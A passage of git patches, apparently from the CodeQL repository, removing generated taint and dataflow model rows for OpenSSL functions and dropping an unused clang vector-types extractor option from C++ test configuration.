"Argument[**6].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", "Argument[**6].Field[**engine].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[0]", "Argument[**6].Field[*args].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[5]", "Argument[**8].Field[*noiseargs].Field[*flags]", "value", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[6]", "Argument[**8].Field[*qtserv]", "taint", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] - - ["", "", True, "qtest_create_quic_objects", "(OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[*0].Field[*handbuflen]", "Argument[*0].Field[**handbuf]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[*3]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_delete_extension", "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[*0].Field[*pplainio].Field[*buf_len]", "Argument[*0].Field[*pplainhdr].Field[*len]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*pplainhdr].Field[*len]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_prepend_frame", "(QTEST_FAULT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*pplainio].Field[*buf_len]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_datagram", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*msg].Field[*data_len]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_handshake", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*handbuflen]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_message", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[**handbuf]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_message", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*handbuflen]", "taint", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_plain_packet", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*pplainhdr].Field[*len]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_resize_plain_packet", "(QTEST_FAULT *,size_t)", "", "Argument[1]", "Argument[*0].Field[*pplainio].Field[*buf_len]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***datagramcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**datagramcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*datagramcb]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_datagram_listener", "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*datagramcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***encextcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**encextcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*encextcb]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_hand_enc_ext_listener", "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*encextcbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***handshakecbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**handshakecbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*handshakecb]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_handshake_listener", "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*handshakecbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***pciphercbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**pciphercbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*pciphercb]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_cipher_listener", "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*pciphercbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***pplaincbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**pplaincbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*pplaincb]", "value", "dfc-generated"] - - ["", "", True, "qtest_fault_set_packet_plain_listener", "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*pplaincbarg]", "value", "dfc-generated"] - - ["", "", True, "qtest_shutdown", "(QUIC_TSERVER *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "rand_serial", "(BIGNUM *,ASN1_INTEGER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] @@ -21360,10 +21175,6 @@ extensions: - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "save_serial", "(const char *,const char *,const BIGNUM *,ASN1_INTEGER **)", "", "Argument[*2]", "Argument[**3]", "taint", "df-generated"] - - ["", "", True, "sd_load", "(const char *,SD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "sd_sym", "(SD,const char *,SD_SYM *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "set_cert_ex", "(unsigned long *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] @@ -21376,8 +21187,6 @@ extensions: - ["", "", True, "set_up_srp_arg", "(SSL_CTX *,SRP_ARG *,int,int,int)", "", "Argument[4]", "Argument[*1].Field[*debug]", "value", "dfc-generated"] - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[*2]", "Argument[*1].Field[**vb].Field[**seed_key]", "value", "dfc-generated"] - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[2]", "Argument[*1].Field[**vb].Field[**seed_key]", "taint", "dfc-generated"] - - ["", "", True, "shutdown_ssl_connection", "(SSL *,SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - - ["", "", True, "shutdown_ssl_connection", "(SSL *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] @@ -21482,10 +21291,6 @@ extensions: - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[4]", "Argument[*5].Field[*sec_level]", "taint", "dfc-generated"] - - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[*0]", "Argument[*1].Field[**msg_callback_arg].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[*0]", "Argument[*1].Field[*msg_callback_arg].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[**msg_callback_arg].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "ssl_ctx_add_large_cert_chain", "(OSSL_LIB_CTX *,SSL_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[*msg_callback_arg].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] - ["", "", True, "ssl_dh_to_pkey", "(DH *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] @@ -21541,63 +21346,10 @@ extensions: - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_eq", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_eq", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_eq_one", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_eq_word", "(const char *,int,const char *,const char *,const BIGNUM *,unsigned long)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_eq_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_even", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ge", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ge", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ge_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_gt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_gt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_gt_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_le", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_le", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_le_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_lt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_lt", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_lt_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ne", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ne", "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_ne_zero", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_BN_odd", "(const char *,int,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[**0]", "Argument[**2].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[*0]", "Argument[**2].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[0]", "Argument[**2].Field[*libctx]", "taint", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] - - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[3]", "Argument[**2].Field[**name]", "taint", "dfc-generated"] - - ["", "", True, "test_fail_bignum_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] - - ["", "", True, "test_fail_bignum_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] - - ["", "", True, "test_fail_bignum_mono_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] - - ["", "", True, "test_get_argument", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[**0]", "Argument[**3].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[*0]", "Argument[**3].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[*4]", "Argument[**3].Field[**name]", "value", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[0]", "Argument[**3].Field[*libctx]", "taint", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[4]", "Argument[**3].Field[**name]", "taint", "dfc-generated"] - - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] - - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] - - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "test_output_bignum", "(const char *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_start_file", "(STANZA *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**test_file]", "value", "dfc-generated"] - - ["", "", True, "test_start_file", "(STANZA *,const char *)", "", "Argument[1]", "Argument[*0].Field[*test_file]", "value", "dfc-generated"] - - ["", "", True, "test_vprintf_stderr", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_vprintf_stdout", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_vprintf_taperr", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "test_vprintf_tapout", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "tls13_alert_code", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "tls1_alert_code", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] @@ -21777,7 +21529,6 @@ extensions: - ["", "", True, "tls_process_server_certificate", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "tls_process_server_hello", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "tls_process_server_rpk", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "tls_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] @@ -21811,13 +21562,11 @@ extensions: - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - - ["", "", True, "valid_asn1_encoding", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - ["", "", True, "verify_callback", "(int,X509_STORE_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "wait_until_sock_readable", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] - ["", "", True, "x509_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] From 9d5a465e9df2fdec27f0e7284cafc5ffaed93faa Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 16 May 2025 15:11:40 +0200 Subject: [PATCH 175/535] C++: Remove unused options file --- cpp/ql/test/library-tests/vector_types/options | 1 - 1 file changed, 1 deletion(-) delete mode 100644 cpp/ql/test/library-tests/vector_types/options diff --git a/cpp/ql/test/library-tests/vector_types/options b/cpp/ql/test/library-tests/vector_types/options deleted file mode 100644 index 5d8122c6f2fd..000000000000 --- a/cpp/ql/test/library-tests/vector_types/options +++ /dev/null @@ -1 +0,0 @@ -semmle-extractor-options: --clang --edg --clang_builtin_functions --edg --clang_vector_types --gnu_version 40600 From 55f8cb793552694dc3157964b71dadec3008e141 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 16 May 2025 15:12:06 +0200 Subject: [PATCH 176/535] C++: Drop `--clang_vector_types` option The types are already enabled through the specfied gcc version. --- cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c | 2 +- cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c b/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c index 4589aeaac421..00d1acb94965 100644 --- a/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c +++ b/cpp/ql/test/library-tests/structs/compatible_c/c1_gnu.c @@ -7,4 +7,4 @@ struct Kiwi { struct Lemon { unsigned int __attribute__ ((vector_size (16))) lemon_x; }; -// semmle-extractor-options: -std=c99 --clang --edg --clang_vector_types --gnu_version 40700 +// semmle-extractor-options: -std=c99 --clang --gnu_version 40700 diff --git a/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c b/cpp/ql/test/library-tests/structs/compatible_c/c2_gnu.c index 927533ab9a86..a09233462182 100644 --- 